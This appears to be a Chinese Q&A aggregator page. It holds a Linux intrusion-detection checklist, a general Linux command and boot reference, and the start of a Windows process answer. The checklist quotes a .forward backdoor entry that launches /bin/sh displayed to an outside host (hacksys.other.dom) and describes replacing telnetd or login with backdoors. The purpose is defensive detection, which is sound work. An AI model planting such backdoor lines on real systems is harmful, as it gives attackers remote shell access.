導航:首頁 > 操作系統 > 隱藏進程linux

隱藏進程linux

發布時間:2023-04-26 08:06:01

linux伺服器是否被攻擊怎麼判斷

1、檢查系統密碼文件

首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

檢查一下passwd文件中有哪些特權用戶,系統中uid為0的用戶都會被顯示出來。

1

awk –F:』$3==0{print$1}』/etc/passwd

順便再檢查一下系統里有沒有空口令帳戶:

1

awk –F: 『length($2)==0{print$1}』/etc/shadow

2、查看一下進程,看看有沒有奇怪的進程

重點查看進程:ps –aef | grep inetd

inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,如果你看到輸出了一個類似inetd –s /tmp/.xxx之類的進程,著重看inetd –s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s參數的,當然也沒有用inetd去啟動某個文件;而solaris系統中也僅僅是inetd –s,同樣沒有用inetd去啟動某個特定的文件;如果你使用ps命令看到inetd啟動了某個文件,而你自己又沒有用inetd啟動這個文件,那就說明已經有人入侵了你的系統,並且以root許可權起了一個簡單的後門。

輸入ps –aef 查看輸出信息,尤其注意有沒有以./xxx開頭的進程。一旦發現異樣的進程,經檢查為入侵者留下的後門程序,立即運行kill –9 pid 開殺死該進程,然後再運行ps –aef查看該進程是否被殺死;一旦此類進程出現殺死以後又重新啟動的現象,則證明系統被人放置了自動啟動程序的腳本。這個時候要進行仔細查找:find / -name 程序名 –print,假設系統真的被入侵者放置了後門,根據找到的程序所在的目錄,會找到很多有趣的東東J

UNIX下隱藏進程有的時候通過替換ps文件來做,檢測這種方法涉及到檢查文件完整性,稍後我們再討論這種方法。

接下來根據找到入侵者在伺服器上的文件目錄,一步一步進行追蹤。

3、檢查系統守護進程

檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v 「^#」,輸出的信息就是你這台機器所開啟的遠程服務。

一般入侵者可以通過直接替換in.xxx程序來創建一個後門,比如用/bin/sh 替換掉in.telnetd,然後重新啟動inetd服務,那麼telnet到伺服器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個rootshell。

4、檢查網路連接和監聽埠

輸入netstat -an,列出本機所有的連接和監聽的埠,查看有沒有非法連接。

輸入netstat –rn,查看本機的路由、網關設置是否正確。

輸入 ifconfig –a,查看網卡設置。

5、檢查系統日誌

命令last | more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴於syslog進程,這已經成為入侵者攻擊的重要目標。入侵者通常會停止系統的syslog,查看系統syslog進程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執行的,如果發現syslog被非法動過,那說明有重大的入侵事件。

在linux下輸入ls –al /var/log

在solaris下輸入 ls –al /var/adm

檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的一種方法。

6、檢查系統中的core文件

通過發送畸形請求來攻擊伺服器的某一服務來入侵系統是一種常規的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率,也就是說它並不能100%保證成功入侵系統,而且通常會在伺服器相應目錄下產生core文件,全局查找系統中的core文件,輸入find / -name core –exec ls –l {} ; 依據core所在的目錄、查詢core文件來判斷是否有入侵行為。

7、.rhosts和.forward

這是兩種比較著名的後門文件,如果想檢查你的系統是否被入侵者安裝了後門,不妨全局查找這兩個文件:

find / -name 「.rhosts」 –print

find / -name 「.forward」 –print

在某用戶的$HOME下,.rhosts文件中僅包含兩個+號是非常危險的,如果你的系統上開了513埠(rlogin埠,和telnet作用相同),那麼任意是誰都可以用這個用戶登錄到你的系統上而不需要任何驗證。

看到這里如果想要深入的做安全加固服務以及安全部署

就必須找專業做伺服器的安全公司來處理了國內也就Sine安全和綠盟比較專業提供。

Unix下在.forward文件里放入命令是重新獲得訪問的常用方法在某一 用戶$HOME下的.forward可能設置如下:

username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases). 注意這只是一種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現在標准輸入執行任意命令(小部分預處理後).利用smrsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或procmail類程序, 很有可能還有問題。在Solaris系統下,如果你運行如下命令:

ln -s /var/mail/luser ~/.forward

然後設置vacation有效,那麼/var/mail/luser就會被拷貝到~/.forward,同時會附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。

直接刪除掉這兩個文件也可以。

8、檢查系統文件完整性

檢查文件的完整性有多種方法,通常我們通過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡單,但還是有一定的實用性。但是如果ls文件都已經被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢,國家查詢的結果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多,這里不一一贅述,可以man rpm來獲得更多的格式。

UNIX系統中,/bin/login是被入侵者經常替換作為後門的文件,接下來談一下login後門 :

UNIX里,Login程序通常用來對telnet來的用戶進行口令驗證。入侵者獲取login的源代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入:這將允許入侵者進入任何賬號,甚至是root目錄。由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmP前產生的一個訪問,所以入侵者可以登錄獲取shell卻不會暴露該賬號。管理員注意到這種後門後,使用」strings」命令搜索login程序以尋找文本信息。許多情況下後門口令會原形畢露。入侵者又會開始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗和檢測這種後門。UNIX系統中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下:md5sum –b 使用二進制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。

在前面提到過守護進程,對於守護進程配置文件inetd.conf中沒有被注釋掉的行要進行仔細比較,舉個簡單的例子,如果你開放了telnet服務,守護進程配置文件中就會有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,入侵者往往通過替換守護進程中允許的服務文件來為自己創建一個後門。

LINUX系統中的/etc/crontab也是經常被入侵者利用的一個文件,檢查該文件的完整性,可以直接cat /etc/crontab,仔細閱讀該文件有沒有被入侵者利用來做其他的事情。

不替換login等文件而直接使用進程來啟動後門的方法有一個缺陷,即系統一旦重新啟動,這個進程就被殺死了,所以得讓這個後門在系統啟動的時候也啟動起來。通常通過檢查/etc/rc.d下的文件來查看系統啟動的時候是不是帶有後門程序;這個方法怎麼有點象查windows下的trojan?

說到這里,另外提一下,如果在某一目錄下發現有屬性為這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個表明任何用戶進來以後運行這個文件都可以獲得一個rootshell,這就是setuid文件。運行 find –perm 4000 –print對此類文件進行全局查找,然後刪除這樣的文件。

9、檢查內核級後門

如果你的系統被人安裝了這種後門,通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統算了J,言歸正傳,首先,檢查系統載入的模塊,在LINUX系統下使用lsmod命令,在solaris系統下使用modinfo命令來查看。這里需要說明的是,一般默認安裝的LINUX載入的模塊都比較少,通常就是網卡的驅動;而solaris下就很多,沒別的辦法,只有一條一條地去分析。對內核進行加固後,應禁止插入或刪除模塊,從而保護系統的安全,否則入侵者將有可能再次對系統調用進行替換。我們可以通過替換create_mole()和delete_mole()來達到上述目的。另外,對這個內核進行加固模塊時應盡早進行,以防系統調用已經被入侵者替換。如果系統被載入了後門模塊,但是在模塊列表/proc/mole里又看不到它們,有可能是使用了hack工具來移除載入的模塊,大名鼎鼎的knark工具包就有移除載入模塊的工具。出現這種情況,需要仔細查找/proc目錄,根據查找到的文件和經驗來判斷被隱藏和偽裝的進程。Knark後門模塊就在/proc/knark目錄,當然可能這個目錄是隱藏的。

⑵ 求助:LINUX常用SHELL命令

分類: 電腦/網路 >> 操作系統/系統故障
問題描述:

歡迎大家的投稿!!!!!!!

解析:

LINUX常用命令

1 文件與目錄操作命令

1.1文件內容查詢命令

grep、fgrep、egrep

CODE:[Copy to clipboard]語法:grep[選項][查找模式][文件名1,文件名2,……]

選項:

QUOTE:

-E 每個模式作為一個擴展的正則表達式對待

-F 每個模式作為一組固定字元串對待,而不作為正則表達式

-i 比較時不區分大小寫

-l 顯示首次匹配匹配串所在的文件名並用換行符將其分開。當在文件中多次出現匹配串時,不重復顯示次文件名;

-x 只顯示整行嚴格匹配的行

1.2文件查找命令 find、locate

語法:

CODE:[Copy to clipboard]find 起始目錄 尋找條件 操作

以名稱和文件屬性查找

QUOTE:

-name『字串『 查找文件名匹配所給字串的所有文件,字串內可用通配符*、?、[]。

-lname『字串『 查找文件名匹配所給字串的所有符號鏈接文件,字串內可用通配符*、?、[]。

-gid n 查找屬於ID號為n的用戶組的所有文件。

-uid n 查找屬於ID號為n的用戶的所有文件。

-group『字串『 查找屬於用戶組名為所給字串的所有的文件。

-user『字串『 查找屬於用戶名為所給字串的所有的文件。

-path『字串『 查找路徑名匹配所給字串的所有文件,字串內可用通配符*、?、[]。

-perm 許可權 查找具有指定許可權的文件和目錄,許可權的表示可以如711、644。

-type x 查找類型為 x的文件,

語法:locate 相關字

1.3文件的復制、刪除和移動命令

文件復制命令

CODE:[Copy to clipboard]cp [選項] 源文件或目錄 目標文件或目錄

選項:

QUOTE:

- a 通常在拷貝目錄時使用

-d 拷貝時保留連接

-f 刪除已經存在的目標文件而不提示

-i 和f選項相反

-p 此時cp除復制源文件內容外,還將其修改的時間和訪問許可權也復制到新文件中

-r 若給出的源文件是一目錄文件,此時cp將遞歸復制該目錄下的所有的子目錄和文件,此時目標文件必須為一個目錄名;

-l 不作拷貝,只是鏈接文件

文件移動命令

CODE:[Copy to clipboard]mv[選項] 源文件或目錄 目標文件或目錄

QUOTE:

-i 互動式操作

-f 禁止互動式操作

文件刪除命令

CODE:[Copy to clipboard]rm[選項] 文件…

QUOTE:

-f 忽略不存在的文件,從不給出提示

-r 指示rm將參數中列出的全部目錄和子目錄均遞歸地刪除

-i 進行互動式刪除

1.4文件鏈接命令

CODE:[Copy to clipboard]ln [選項] 目標 [鏈接名] 或 ln [選項] 目標 目錄

QUOTE:

選項:

- s 建立符號鏈接

1.5目錄的創建和刪除命令

mkdir 創建一個目錄

語法:

CODE:[Copy to clipboard]mkdir [選項] dirname

選項:

- m 對新建目錄設置存取許可權

-p 可以是一個路徑名稱。此時若路徑中的某些目錄尚不存在,加上此選項後,系統將自動建立好那些尚不存在的目錄,即一次可以建立多個目錄。

rmdir 刪除空目錄

語法:

CODE:[Copy to clipboard]rmdir [選項] dirname

QUOTE:

選項:

- p 遞歸刪除目錄dirname,當子目錄刪除後其父目錄為空時,也一同被刪除。

1.6改變工作目錄,顯示目錄內容命令

1、改變工作目錄:

CODE:[Copy to clipboard]cd [directory]

2、顯示當前工作的目錄的絕對路徑:

CODE:[Copy to clipboard]pwd

3、顯示目錄內容:

CODE:[Copy to clipboard]ls [選項] [目錄或是文件]

QUOTE:

選項:

- a 顯示指定目錄下所有子目錄與文件,包括隱藏文件;

-c 按照文件的修改時間排序

-C 分成多列顯示各項

-d 如果參數是目錄,只顯示其名稱而不顯示其下的個文件

-F 在目錄名後面標記「/」,可執行文件後面標記「*」,符號鏈接後面標記「@」,管道(或FIFO)後面標記「|」,socket文件後面標記「=」。

-l 以長格式來顯示文件的詳細信息

-L 若指定的名稱為一個符號鏈接,則顯示鏈接所指向的文件

-t 顯示時按修改時間而不是名字排序

-u 顯示時按文件上次存取的時間而不是名字排序

4、改變文件或目錄的訪問許可權命令

CODE:[Copy to clipboard]chmod [who] [+| - | = ] [mode] 文件名?

QUOTE:

Who選項:

- u表示用戶,即文件和目錄的所有者

-g表示同組用戶

-o(other)表示其他用戶

-a (all)表示所有用戶

QUOTE:

操作符號:

+ 添加某個許可權 - 取消某個許可權

= 賦予給定許可權並取消其他所有的許可權(如果有的話)

QUOTE:

mode 選項:

- r 可讀

-w 可寫

-x 可執行

CODE:[Copy to clipboard]chgrp [-R] group filename? 改變目錄或文件所屬的組

CODE:[Copy to clipboard]chown [-Rv] 用戶或組 文件

1.7備份與壓縮命令

1、tar命令 為文件和目錄創建檔案

語法:

CODE:[Copy to clipboard]tar [主選項+輔助選項] 文件或者目錄

QUOTE:

u 主選項

c 創建新的檔案文件。如果用戶想備份一個目錄或是一些文件,則選此項

r 把要存檔的文件追加到檔案文件的末尾

t 列出檔案文件的內容,查看已經備份了哪些文件;

u 更新文件

x 從檔案文件中釋放文件;

u 輔助選項

b 該選項為磁帶機設定的,其後跟一位數字,用來說明區塊的大小,系統預設值為20

f 使用檔案文件或設備,這個選項通常是必選的

k 保存已經存在的文件。例如把某個文件還原,在還原的過程中,遇到相同的文件,不會進行覆蓋;

m 在還原文件時,把所有文件的修改時間設定為現在;

M 創建多卷的檔案文件,以便在幾個磁碟中存放;

v 詳細報告tar處理的文件信息

w 每一步都要求確認

z 用gzip來壓縮/解壓縮文件

2、gzip命令 壓縮/解壓縮命令

語法:

CODE:[Copy to clipboard]gzip [選項] 壓縮(解壓縮)的文件名

QUOTE:

選項:

-c 將輸出寫到標准輸出上,並保留原有文件

-d 將壓縮文件解壓

-l 顯示每個壓縮文件的詳細信息

-r 遞歸式地查找指定目錄並壓縮其中的所有文件或者是解壓縮

-t 測試、檢查壓縮文件是否完整

-v 對每一個壓縮和解壓的文件,顯示文件名和壓縮比

3、unzip 命令

用MS windows下的壓縮軟體winzip壓縮的文件在linux系統下展開

語法:

CODE:[Copy to clipboard]unzip [選項] 壓縮文件名.zip

QUOTE:

選項:

-x 文件列表 解壓縮文件,但不包括指定的file文件

-v 查看壓縮文件目錄,但不解壓

-t 測試文件有無損壞 ,但不解壓

-d 目錄 將壓縮文件解到指定目錄下

-z 只顯示壓縮文件的註解

-n 不覆蓋已經存在的文件

-o 覆蓋已經存在的文件且不要求用戶確認

-j 不重建文檔的目錄結構,把所有文件解壓到同一目錄下

1.8在LINUX環境下運行DOS命令

linux系統提供了一組稱為mtools的可移植工具,可以讓用戶輕松地從標準的DOS軟盤上讀寫文件和目錄。

QUOTE:

mcd 目錄名 改變MSDOS目錄

m 源文件 目標文件 在MSDOS和UNIX之間復制文件;

mdel 目錄名 刪除MSDOS目錄

mdir 目錄名 顯示MSDOS目錄

mformat 驅動器號 在低級格式化的軟盤上創建MSDOS文件系統

rnlabel 驅動器號 產生MSDOS卷標

mmd 目錄名 刪除MSDOS目錄

mren 源文件 目標文件 重新命名已存在的MSDOS文件

mtype 文件名 顯示MSDOS文件的內容

2 設備管理命令

1)linux採用下面的形式定義一個IDE硬碟:

CODE:[Copy to clipboard]/dev/hd[drive][partition]

2)SCSI硬碟使用同樣的機製表示:

CODE:[Copy to clipboard]/dev/sd[drive][partition]

3)對於一般的LINUX分區,可以用mkfs將其格式化並生成文件系統,命令如下:

CODE:[Copy to clipboard]mk2fs –c <partition>; <size>;

4)裝載文件系統:

CODE:[Copy to clipboard]mount –t ext2 [-o optioms] partition mountpiont

其中,

QUOTE:

-t為指定裝載文件系統的類型;

-o指定一些選項,如只讀ro,可讀可寫rw等等;

partition定義分區名稱;

mountpiont定義文件系統被裝載的目錄名稱。

5)裝載CD-ROM文件系統:

CODE:[Copy to clipboard]mount –t iso9660 –r /dev/cdrom /mnt/cdrom

6)裝載軟碟機文件系統:

CODE:[Copy to clipboard]mount –t msdos –rw /dev/fd0 /dev/mnt/floppy

7)卸載文件系統

CODE:[Copy to clipboard]umount /mnt/cdrom

磁帶設備的安裝要注意以下幾點:

QUOTE:

1、 首先要選擇一個唯一的SCSI ID號,然後再將設備鏈接到適當的位置

2、 選擇驅動程序。

3、 生成設備文件。SCSI磁帶設備的主要設備號是9,次要設備號是0。設備文件名通常是/dev/nrst0(不支持回繞的磁帶設備)或/dev/nst0(支持回繞的磁帶設備)

用 ls /dev/*rst*

檢查磁帶設備文件是否存在,如果不存在,用

mknod –m 666 /dev/nrst0 c 9 9

mknod –m 666 /dev/rst0 c 9 0 生成

4、 可以對塊長度、緩存、磁帶密度等參數進行一些設置,例如

mt setblk 20 將塊長度指定為20

mt setblk 0 指定塊程度沒有限制

5、 通過檢查系統的啟動信息可以確定系統是否識別了新的磁帶設備。用dmesg命令,查看是否有以下類似的信息:

aha274x:target 4now synchronous at 4.4Mb/s

Vendor:TANDBERG Model:TDC 3800 Rev: =05:

Type: Sequential-Access ANSI SCSI revision: 02

Detected scsi tape st0 at scsi0, id4, lun0

Scsi : detected 1 SCSI tape 1 SCSI crom 1 SCSI disk total

3 軟體包管理命令

3.1軟體安裝的步驟

在LINUX系統上安裝軟體的步驟有:

QUOTE:

1、 查找所要安裝軟體的源文件

2、 把源文件解開放到一個目錄中,命令如下:

tar zxvf <源文件名>;

3、 針對本操作系統配置源文件。可以是編輯make文件或其他文件,也可能是運行該軟體自帶的自動配置工具,如./configure

4、 make源文件,通常是運行make命令,即執行 make

5、 安裝二進制文件和其他支撐文件,運行命令: make install

6、 最後,完成所有其他必須的配置

3.2軟體包管理命令

QUOTE:

rpm –ivh <軟體包>;

安裝指定的軟體包,並在安裝過程中用#表示安裝的進度

rpm –Uvh <軟體包>;

更新一個已經存在的或還沒安裝好的軟體包,並刪除所有該軟體包的舊版本。

rpm –e

卸載一個rpm軟體包

rpm –qa

查看系統中已經安裝的軟體包

rpm –q <軟體包>;

查看系統中某個軟體包的版本號;

rpm –qlp <軟體包>;

列出某個軟體包中的所有文件

rpm –qf <軟體包>;

找出一個文件屬於哪個軟體包

4 LINUX系統常用命令

4.1 與系統管理有關的命令

Wall (Write All)

QUOTE:

對全部已 登錄的用戶發送信息,用戶可以先反要發送的信息寫好存入一個文件中,然後輸入:

# wall < FileName

例:Wall 『Thank you !』

Write

向某一用戶發送信息。

Write xxq

hello

輸入Ctrl+C組合即可終止

Shutdown命令

CODE:[Copy to clipboard]Shutdown [選項] [時間] [警告信息]

QUOTE:

-k 並不真正關機,而只是發出警告信息給所有的用戶。

-r 關機後立即重新啟動。

-h 關機後不重新啟動。

-f 快速關機,啟動時跳過fsck。

-n快速關機,不經過init程序。

-c 取消一個已經運行的shutdown

例:系統馬上關機:Shutdown –h now

Free命令

查看當前系統內存的使用情況,

CODE:[Copy to clipboard]Free [-b] [-k] [-m]

CODE:[Copy to clipboard]-b 以位元組為單位顯示。

-k 以K位元組為單位顯示。

-m 以M位元組為單位顯示。

Uptime

QUOTE:

顯示系統已經運行了多長的時間:現在時間、系統已經運行的時間、目前有多少登錄用戶、系統在過去的1分鍾、5分鍾和15分鍾內的平均負載。

4.2與用戶有關的命令

Passwd命令

設置、更換用戶口令。

CODE:[Copy to clipboard]Passwd [用戶名]

Su

使一個普通的用戶具有超級用戶的權利,離開可用EXIT命令。

4.3其它命令

Echo命令

在顯示器上顯示一段文字,一般起到一個提示的作用。

CODE:[Copy to clipboard]echo [-n] 字元串

Cal命令

顯示某年某月的日歷。

CODE:[Copy to clipboard]cal [選項] [月[年]]

QUOTE:

選項的含義:

-j 顯示也給定月中的每一天是一年中的和幾天(從1月1日算起)。

-y 顯示也整年的日歷。

Date命令

date命令的功能是顯示和設置系統日期和時間。

4.4磁碟管理

磁碟空間管理

df命令

檢查文件系統的磁碟空間佔用局部。

CODE:[Copy to clipboard]Df [選項]

QUOTE:

-a 顯示所有文件系統的磁碟使用情況,包括0塊(block)的文件系統,如/proc文件系統。

-k 以K位元組為單位顯示。

-i 顯示i節點信息,而不是磁碟塊。

- t 顯示各指定類型的文件系統的磁碟空間使用情況。

-x 列出不是某一指定類型文件系統的磁碟窨使用情況(與t相反)。

-T 顯示文件系統類型。

命令

的英文原意為disk usage,含義為顯示磁碟空間的使用情況。功能是統計目錄(或文件)所佔磁碟空間的大小。

CODE:[Copy to clipboard] [選項] [Names…]

QUOTE:

-s 對每人Names 參數只給也佔用的數據塊總數。

-a 遞歸地顯示指定目錄中各文件用子孫目錄中的各文件佔用的數據塊總數。

-b 以位元組為單位列也磁碟窨使用情部(預設以K位元組為單位)

-k 以1024位元組為單位列也磁碟空間使用情況。

-c 最後再加上一個總計(系統預設)

-l 計算所有的文件大小,對硬鏈接文件,則計算多次。

-x 跳過在不同文件系統上的目錄不予統計。

dd命令

把指定的輸入文件拷貝到指定的輸出文件中,並且在拷貝的過程中可以進行格式轉換。語法:

CODE:[Copy to clipboard]dd 〔選項〕

QUOTE:

if =輸入文件(或設備名稱)。

of =輸出文件(或設備名稱)。

ibs = bytes 一次讀取bytes位元組,即讀入緩沖區的位元組數。

skip = blocks 跳過讀入緩沖區開頭的ibs*blocks塊。

obs = bytes 一次寫入bytes位元組,即寫 入緩沖區的位元組數。

bs = bytes 同時設置讀/寫緩沖區的位元組數(等於設置obs和obs)。

cbs = bytes 一次轉換bytes位元組。

count = blocks 只拷貝輸入的blocks塊。

conv = ASCII 把EBCDIC碼轉換為ASCII碼。

conv = ebcdic 把ASCII碼轉換為EBCDIC碼。

conv = ibm 把ASCII碼轉換為alternate EBCDIC碼。

conv = blick 把變動位轉換成固定字元。

conv = ublock 把固定們轉換成變動位

conv = ucase 把字母由小寫變為大寫。

conv = lcase 把字母由大寫變為小寫。

conv = notrunc 不截短輸出文件。

conv = swab 交換每一對輸入位元組。

conv = noerror 出錯時不停止處理。

conv = sync 把每個輸入記錄的大小都調到ibs的大小(用ibs填充)。

fdformat命令

低級格式化軟盤。

CODE:[Copy to clipboard]format [-n] device

QUOTE:

-n 格式化後不做檢驗

4.5常用的網路命令

FTP命令

Tel命令。

Netstat命令

QUOTE:

-a 顯示所有的scoket,包括正在監聽和。

-c 每隔1秒就重新顯示一遍,直到用戶中斷它。

-i 顯示所有網路介面的信息,格式同」ifconfig –e」

-n 以網路IP地址代替名稱,顯示也網路連接情形。

-r 顯示核心路由表,格式同」route –e:。

-t 顯示TCP協議的連接情況。

-u 顯示UDP協議的連接情況。

-v 顯示正在進行的工作。

nslookup命令。

finger命令,功能是查詢用戶的信息。

ping命令。

(用戶和組的管理可以使用工具:TurboUserCfg或是XturboUserCfg。)

4.6有關進程的命令。

進程和啟動

CODE:[Copy to clipboard]at [-V] [-q] [-f文件名] [-mldbv]時間

at –c 作業 [作業….]

AT命令啟動的進程系統只執行一次。

batch [-V] [-q 隊列] [-f 文件名] [-mv] [時間]

在系統負載較小時,資源比較空閑時執行。

cron命令

按一定的時間間隔執行命令。

crontab命令

用於安裝、刪除或列出用於驅支cron後台進程的表格。

進程查看

CODE:[Copy to clipboard]who命令。

w命令

是一個比who命令更強大的命令

w –[husfV] [user]

-h 不顯示標題。

-u 當列出當前進程和CPU時間時忽略用戶名。

-s 使用短模式。不顯示登錄時間JCPU和PCPU時間。

-f 切換顯示FROM項,也就是遠程主機名項。

-V 顯示版本信息。

user 只顯示指定用戶的情況。

ps命令。

-e 顯示所有進程。

-f 全格式

-h 不顯示標題。

-l 長格式。

-w 寬輸出。

a 顯示終端上所有進程,包括其他用戶的進程。

r 只顯示正在運行的進程。

x 顯示沒有控制終端的進程。

top 命令

動態顯示系統當前的進程和其他狀況。

5系統的啟動過程。

5.1初始啟動

在PC機啟動時,BIOS從指定的啟動設備中讀入「主引導記錄」(MBR)。MBR的格式是:

地址偏移量 內容 大小

+00 h 可執行的代碼(啟動模塊) 可能變化

+1BE h 第一分區表項 16位元組

+1CE h 第二分區表項 16位元組

+1DE h 第三分區表項 16位元組

+1EE h 第四分區表項 16位元組

+1FE h 可執行的標記(AA55 h) 2位元組

啟動模塊包含足以裝入操作系統的代碼,或者是第二步的載入代碼的位置。啟動模塊需要使用BIOS調用來從磁碟裝入數據,而這些中斷調用,如INT 13h等,限制了最大磁碟柱面號為1023。這也就是說啟動模塊需要載入的一切內容,如初始內存磁碟、內核、啟動的時間信息等,必須存放在1024個柱面以內。

在MBR中只有四個分區表項,每個表項的格式如下:

地址偏移 內容 大小

+00h 分區狀態:00代表非啟動分區,80h代表啟動分區 1位元組

+01h 分區的起始位置 磁頭 1位元組

+02h 分區的起始位置 柱面和扇區 1位元組

+04h 分區的類型 1位元組

+05h 分區的結束位置 磁頭 1位元組

+06h 分區的結束位置 柱面和扇區 1位元組

+08h 在主引導區和本分區的第一個扇區間的扇區數目 4位元組

+0Ch 分區內的扇區數目 4位元組

5.2 Linux的啟動過程

1啟動的命令行參數

在Linux啟動時,它處理所有傳遞給它的命令行參數。這可以影響Linux的運行方式。命令行參數包括:

QUOTE:

mem=xxxM:定Linux可以使用的內存大小。這在用戶的計算機系統有超過64MB的內存時才需要。因為從前的主板只對第一個64MB內存進行緩存,使用超過64MB的內存會使整個計算機的性能下降,所有內存均按無緩存的速度運行。

single:使Linux按單用戶方式啟動,預設方式是多用戶方式。

root=/dev/xxx:指定Linux要安裝為根文件系統的設備。

init=<file>;:指定作為初始化進程的文件。

initrd=<dev>;:指定作為初始內存磁碟的設備。

ro:指定根文件系統為只讀。

rw:指定根文件系統為可讀可寫。

2 Init進程

在內核初始化自身和找到的硬體設備後,在後台啟動進程init(/ *** in/init),init進程號1運行。

在UNIX世界中有許多啟動過程的版本,一些是基於系統V,一些是基於BSD。大多數Linux版本使用系統V的實現方法,在這里描述的就是這樣。

init是由文件/etc/inittab內容和功能控制的,隨啟動模式是單用戶或多用戶而不同。

QUOTE:

單用戶模式:init進程忽略/etc/inittab文件,在執行少數幾個腳本程序後調用/dev/console shell。這樣,用戶就可以有了一個shell,而且可以執行一定限度的任務。

多用戶模式:init進程把系統帶入/etc/inittab文件指定的運行級別。Init通過標準的Linux方法進入一個指定的進行級別。

3.進行級別

Linux與其他UNIX操作系統一樣,可以任何時刻處於任何一個運行級別。這些運行級別提供的功能不同,為主要是由於其運行的服務方程序(後台daemon)的不同造成的。Linux共有6種運行級別。

QUOTE:

0:關閉計算機或終止計算機運行,這個級別就是系統停止運行。

1:單用戶啟動級別,系統只有一個用戶,就是root,該用戶在控制台登錄。

2:多用戶運行級別,但無網路功能。在這個運行級別,網路功能沒有啟動,但是系統允許多個用戶登錄,可以通過虛擬控制台或串列線路。

3:多用戶模式,有網路功能。在這個運行級別,所有標准網路服務均被啟動。

4:目前沒有實現。

5:X11運行級別,在這個運行級別,X伺服器軟體運行,提供圖形界面的登錄方式。

6:系統重新啟動。

查詢當前運行級別:runlevel;

4在啟動過程中運行的腳本

在init進程運行時,它負責查看預設的運行級別,並進入該運行級別。這是通過運行在/etc/rc.d/rcX.d目錄下的腳本程序來實現的,其中X代表運行的級別,即一個運行級別對應一個目錄。不同的字母開頭的文件有不同的作用。其中:

以K開頭的腳本程序是系統離開某個運行級別時執行的,作用是停止某種服務。當系統從某個支持級別變為其他級別時,首先要進行原運行級別所對應的所有K程序。

以S開頭的腳本程序是系統進入某個運行級別時所執行的,作用是啟動某種服務。當系統改變為某個運行級別時,就要運行新運行級別所對應的所有S程序。

5增加啟動腳本程序

用戶可能有一些特定的硬體設備要初始化,或需要在系統啟動時初始化一些其他應用程序,用戶可以增加自己的初始化腳本程序來完成這些工作。通常步驟是:

復制一個已經存在的腳本,這樣可以得到一個通用的框架格式。

修改這個腳本,以完成自己的需求,要注意使程序可以處理啟動和關閉的參數,盡管可能關閉處理什麼也不需要干。

把這個肢本拷貝到/etc/rc.d/init.d目錄下,命名為」serv」。

按下面的方法在相應的目錄下建立運行控制鏈接:

CODE:[Copy to clipboard]ln –s ../init.d/serv/etc/rc.d/rc3.d/s99 serv

進行測試。

6 LILO和其他的啟動模塊

要啟動Linux,啟動模塊是必須的。一般用於Linux的啟動模塊是LILO,LILO用自己的主引導區代替一般的主引導區。LILO可以通過修改/etc/lilo.conf文件內容來進行配置,對引導區內容的更新通過lilo命令來完成。

下面給也了一個裝有DOS,TurboLinux3.4.0和RedHat 5.2系統的計算機的lilo.conf文件。在例子中的數字標號是用戶加上去並要在文中詳細解釋的。

CODE:[Copy to clipboard]# more /etc/lilo.conf

boot=dev/had

map=/boot/map

instll/boot/boot.b

prompt

#表示啟動盤是/dev/had,這是主IDE硬碟。

timeout=50

#表示等待用戶輸入的時間是50秒。

default=TL3.4

other=dev/hda1

#表示如果在上述的時間內沒有輸入,預設的啟動系統是TL3.4,即TurboLinux 3.4.0

label=dos

table=dev/had

#表示如果在LILO提示用戶輸入啟動系統時,用戶按了<Tab>;鍵,各個系統將以label的內容顯示出來,供用戶選擇。

image=/mnt/tl3.4/boot/vmlinuz

label=TL3.4

root=/dev/hda3

read-only

TurboLinux的啟動文件,/mnt/tl3.4/boot/vmlinuz被確定,根文件系統在/dev/hda3,根文件系統是只讀方式的。

CODE:[Copy to clipboard]image=/mnt/rh5.2/boot/vmlinuz-2.0.36-0.7

label=RH5.2

root=/dev/hda4

read-only

RedHat的啟動文件,/mnt/rh5.2/boot/vmlinuz-2.0,36-0.7被確定,根文件系統在/dev/hda4,根文件系統可讀寫。

⑶ linux系統後台無法使用命令進行操作怎麼辦註:無法重起機子,無法殺進程等。。

Windows XP/2000的任務管理器是一個非常有用的工具,能讓你看到系統中正在運行哪些程序(進程),只要你平時多看任務管理器中的進程列表,熟悉系統的基本進程,就可以隨時發現可疑進程,這對防範木馬和病毒大有裨益!不過有一些可疑進程,你用任務管理器卻無法殺掉,這該怎麼辦呢?

一、哪些系統進程不能關掉

Windows運行的時候,會啟動多個進程。只要你按下「Ctrl+Alt+Del」鍵打開任務管理器,點擊「查看」/選擇列,勾選「PIO(進程標識符)」,然後單擊「進程」標簽,即可看到這些進程。不過有一些進程個人用戶根本用不到,例如Systray.exe(顯示系統托盤小喇叭圖標)、Ctfmon.exe(微軟Office輸入法)、Winampa.exe等,我們完全可以禁止它們,這樣做並不會影響系統的正常運行。

二、如何關閉任務管理器殺不了的進程

